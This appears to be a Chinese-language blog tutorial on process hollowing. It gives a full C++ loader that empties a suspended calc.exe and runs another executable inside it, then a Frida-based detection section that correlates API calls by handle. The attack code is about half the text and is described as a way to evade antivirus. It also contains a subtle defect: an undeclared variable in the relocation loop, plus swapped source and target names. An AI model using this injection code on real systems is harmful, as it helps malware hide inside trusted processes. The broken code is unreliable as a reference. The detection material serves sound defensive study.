概述

进程掏空(Process Hollowing)是一种代码注入技术,攻击者创建一个处于挂起状态的新进程,取消映射其原始映像,替换为恶意代码后恢复执行。该技术常用于恶意软件免杀和隐蔽执行。

参考资料

[toc]

技术原理

进程掏空本质上是在手动操作 PE 文件的加载过程

  1. 创建一个合法进程(如 calc.exesvchost.exe
  2. 将其内存中的原始映像「掏空」(Unmap)
  3. 写入恶意的 PE 映像
  4. 修改入口点后恢复执行

从外部看,进程名和路径都是合法的,但实际执行的却是恶意代码。

执行流程

PlantUML diagram

关键 API 说明

步骤API功能
创建进程CreateProcessA创建挂起状态的目标进程
掏空进程NtUnmapViewOfSection卸载原始 PE 映像(核心)
分配内存VirtualAllocEx在目标进程分配可执行内存
写入数据WriteProcessMemory写入 PE 头、节区、重定位表
修改上下文GetThreadContext / SetThreadContext获取/设置线程上下文(入口点)
恢复执行ResumeThread恢复挂起的线程

实现代码

说明

以下代码以 calc.exe 为目标进程,注入 HelloWorld.exe。在 Win10 上测试稳定,Win11 可能存在兼容性问题。

C++cpp
#include <iostream>
#include <Windows.h>
#include <winternl.h>
 
const char* sourceProcess = "c:\\windows\\syswow64\\calc.exe";
const char* targetProcess = "D:\\tmp\\HelloWorld.exe";
 
using NtUnmapViewOfSection = NTSTATUS(WINAPI*)(HANDLE, PVOID);
 
typedef struct BASE_RELOCATION_BLOCK {
    DWORD PageAddress;
    DWORD BlockSize;
} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK;
 
typedef struct BASE_RELOCATION_ENTRY {
    USHORT Offset : 12;
    USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;
 
typedef NTSTATUS(NTAPI *pfnNtQueryInformationProcess)(
    IN HANDLE ProcessHandle,
    IN PROCESSINFOCLASS ProcessInformationClass,
    OUT PVOID ProcessInformation,
    IN ULONG ProcessInformationLength,
    OUT PULONG ReturnLength OPTIONAL
);
pfnNtQueryInformationProcess gNtQueryInformationProcess;
 
HMODULE sm_LoadNTDLLFunctions()
{
    HMODULE hNtDll = LoadLibrary(L"ntdll.dll");
    if (hNtDll == NULL) return NULL;
    gNtQueryInformationProcess = (pfnNtQueryInformationProcess)
        GetProcAddress(hNtDll, "NtQueryInformationProcess");
    if (gNtQueryInformationProcess == NULL) {
        FreeLibrary(hNtDll);
        return NULL;
    }
    return hNtDll;
}
 
int main()
{
    // 1. 创建挂起状态的目标进程
    LPSTARTUPINFOA si = new STARTUPINFOA();
    LPPROCESS_INFORMATION pi = new PROCESS_INFORMATION();
    PROCESS_BASIC_INFORMATION *pbi = new PROCESS_BASIC_INFORMATION();
    DWORD returnLenght = 0;
    CreateProcessA(NULL, (LPSTR)sourceProcess, NULL, NULL, TRUE, 
                   CREATE_SUSPENDED, NULL, NULL, si, pi);
    HANDLE destProcess = pi->hProcess;
 
    // 2. 获取目标进程 PEB 中的 ImageBase 地址
    sm_LoadNTDLLFunctions();
    gNtQueryInformationProcess(destProcess, ProcessBasicInformation, 
                               pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLenght);
    DWORD pebImageBaseOffset = (DWORD)pbi->PebBaseAddress + 8;
 
    LPVOID destImageBase = 0;
    SIZE_T bytesRead = NULL;
    ReadProcessMemory(destProcess, (LPCVOID)pebImageBaseOffset, 
                      &destImageBase, 4, &bytesRead);
 
    // 3. 读取恶意 PE 文件
    HANDLE sourceFile = CreateFileA(targetProcess, GENERIC_READ, NULL, NULL, 
                                    OPEN_ALWAYS, NULL, NULL);
    DWORD sourceFileSize = GetFileSize(sourceFile, NULL);
    LPVOID sourceFileBytesBuffer = HeapAlloc(GetProcessHeap(), 
                                              HEAP_ZERO_MEMORY, sourceFileSize);
    ReadFile(sourceFile, sourceFileBytesBuffer, sourceFileSize, NULL, NULL);
 
    // 4. 获取恶意 PE 的映像大小
    PIMAGE_DOS_HEADER sourceImageDosHeaders = (PIMAGE_DOS_HEADER)sourceFileBytesBuffer;
    PIMAGE_NT_HEADERS sourceImageNTHeaders = (PIMAGE_NT_HEADERS)(
        (DWORD)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew);
    SIZE_T sourceImageSize = sourceImageNTHeaders->OptionalHeader.SizeOfImage;
 
    // 5. 掏空目标进程(核心步骤)
    NtUnmapViewOfSection myNtUnmapViewOfSection = 
        (NtUnmapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"), 
                                               "NtUnmapViewOfSection"));
    myNtUnmapViewOfSection(destProcess, destImageBase);
 
    // 6. 分配新内存并写入 PE
    LPVOID newDestImageBase = VirtualAllocEx(destProcess, destImageBase, 
                                              sourceImageSize, 
                                              MEM_COMMIT | MEM_RESERVE, 
                                              PAGE_EXECUTE_READWRITE);
    destImageBase = newDestImageBase;
 
    DWORD deltaImageBase = (DWORD)destImageBase - 
                            sourceImageNTHeaders->OptionalHeader.ImageBase;
    sourceImageNTHeaders->OptionalHeader.ImageBase = (DWORD)destImageBase;
    
    // 写入 PE 头
    WriteProcessMemory(destProcess, newDestImageBase, sourceFileBytesBuffer,
                       sourceImageNTHeaders->OptionalHeader.SizeOfHeaders, NULL);
 
    // 7. 写入各个节区
    PIMAGE_SECTION_HEADER sourceImageSection = (PIMAGE_SECTION_HEADER)(
        (DWORD)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew + 
        sizeof(IMAGE_NT_HEADERS32));
    
    for (int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++)
    {
        PVOID destinationSectionLocation = (PVOID)(
            (DWORD)destImageBase + sourceImageSection->VirtualAddress);
        PVOID sourceSectionLocation = (PVOID)(
            (DWORD)sourceFileBytesBuffer + sourceImageSection->PointerToRawData);
        WriteProcessMemory(destProcess, destinationSectionLocation, 
                           sourceSectionLocation, sourceImageSection->SizeOfRawData, NULL);
        sourceImageSection++;
    }
 
    // 8. 修复重定位表
    IMAGE_DATA_DIRECTORY relocationTable = 
        sourceImageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
    
    sourceImageSection = (PIMAGE_SECTION_HEADER)(
        (DWORD)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew + 
        sizeof(IMAGE_NT_HEADERS32));
    
    for (int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++)
    {
        BYTE* relocSectionName = (BYTE*)".reloc";
        if (memcmp(sourceImageSection->Name, relocSectionName, 5) != 0) {
            sourceImageSection++;
            continue;
        }
 
        DWORD sourceRelocationTableRaw = sourceImageSection->PointerToRawData;
        DWORD relocationOffset = 0;
 
        while (relocationOffset < relocationTable.Size) {
            PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(
                (DWORD)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset);
            relocationOffset += sizeof(BASE_RELOCATION_BLOCK);
            DWORD relocationEntryCount = (relocationBlock->BlockSize - 
                sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
            PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(
                (DWORD)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset);
 
            for (DWORD y = 0; y < relocationEntryCount; y++)
            {
                relocationOffset += sizeof(BASE_RELOCATION_ENTRY);
                if (relocationEntries[y].Type == 0) continue;
 
                DWORD patchAddress = relocationBlock->PageAddress + 
                                      relocationEntries[y].Offset;
                DWORD patchedBuffer = 0;
                ReadProcessMemory(destProcess, 
                    (LPCVOID)((DWORD)destImageBase + patchAddress), 
                    &patchedBuffer, sizeof(DWORD), &bytesRead);
                patchedBuffer += deltaImageBase;
                WriteProcessMemory(destProcess, 
                    (PVOID)((DWORD)destImageBase + patchAddress), 
                    &patchedBuffer, sizeof(DWORD), fileBytesRead);
            }
        }
    }
 
    // 9. 修改入口点并恢复执行
    LPCONTEXT context = new CONTEXT();
    context->ContextFlags = CONTEXT_INTEGER;
    GetThreadContext(pi->hThread, context);
 
    DWORD patchedEntryPoint = (DWORD)destImageBase + 
        sourceImageNTHeaders->OptionalHeader.AddressOfEntryPoint;
    context->Eax = patchedEntryPoint;
    SetThreadContext(pi->hThread, context);
    ResumeThread(pi->hThread);
 
    return 0;
}

效果展示

  • 任务栏显示的是 calc.exe 的图标
  • 实际执行的是 HelloWorld.exe 的代码
  • Process Explorer 查看加载模块,看不到注入的映像
  • VMMap 查看 VAD 也无法发现异常

检测难度

从内存直观取证较为困难,需要通过 API 调用序列关联检测。


检测思路

威胁图关联检测

核心思想:将进程句柄和线程句柄与 API 调用实体关联

进程掏空的关键特征:

text
CreateProcessA → 返回 process_handle, thread_handle

NtUnmapViewOfSection(process_handle) → 同一 handle

VirtualAllocEx(process_handle) → 同一 handle

WriteProcessMemory(process_handle) → 同一 handle

SetThreadContext(thread_handle) → 同一 handle

ResumeThread(thread_handle) → 同一 handle

基于 Frida 的检测实现

bash
frida-trace -i "VirtualAllocEx" -i "NtUnmapViewOfSection" \
            -i "ResumeThread" -i "SetThreadContext" \
            -i "CreateProcessA" -f process_hollowing_test.exe

Frida Hook 脚本示例:

javascript
// CreateProcessA.js
onEnter(log, args, state) {
    log('CreateProcessA()');
    log('  CMD line: ' + Memory.readUtf8String(args[1]));
    this.arg10 = args[9];
},
onLeave(log, retval, state) {
    var process_addr = Memory.readPointer(this.arg10);
    var thread_addr = Memory.readPointer(this.arg10.add(4));
    log('  process handle: ' + process_addr.toInt32() + 
        ' thread handle: ' + thread_addr.toInt32());
}
 
// NtUnmapViewOfSection.js
onEnter(log, args, state) {
    log('NtUnmapViewOfSection()');
    log('  process handle: ' + args[0].toInt32());
    log('  process addr: ' + args[1]);
}
 
// VirtualAllocEx.js
onEnter(log, args, state) {
    log('VirtualAllocEx()');
    log('  process handle: ' + args[0].toInt32());
}
 
// SetThreadContext.js
onEnter(log, args, state) {
    log('SetThreadContext()');
    log('  thread handle: ' + args[0].toInt32());
}
 
// ResumeThread.js
onEnter(log, args, state) {
    log('ResumeThread()');
    log('  thread handle: ' + args[0].toInt32());
}

检测结果示例:

text
 8 ms CreateProcessA()
 8 ms | CMD line: c:\windows\syswow64\calc.exe
18 ms | process handle: 368 thread handle: 356
19 ms NtUnmapViewOfSection()
19 ms | process handle: 368
19 ms | process addr: 0xbe0000
19 ms VirtualAllocEx()
19 ms | process handle: 368
22 ms SetThreadContext()
22 ms | thread handle: 356
22 ms ResumeThread()
22 ms | thread handle: 356

可以看到所有操作都关联到同一个进程句柄(368)和线程句柄(356),形成完整的攻击链。

检测要点

通过威胁图将 CreateProcessA 返回的句柄与后续 API 调用关联,可以准确识别进程掏空行为。


相关开源项目

相关技术

技术说明
进程注入其他进程注入方法
PE文件结构PE 加载原理
重定位表重定位修复机制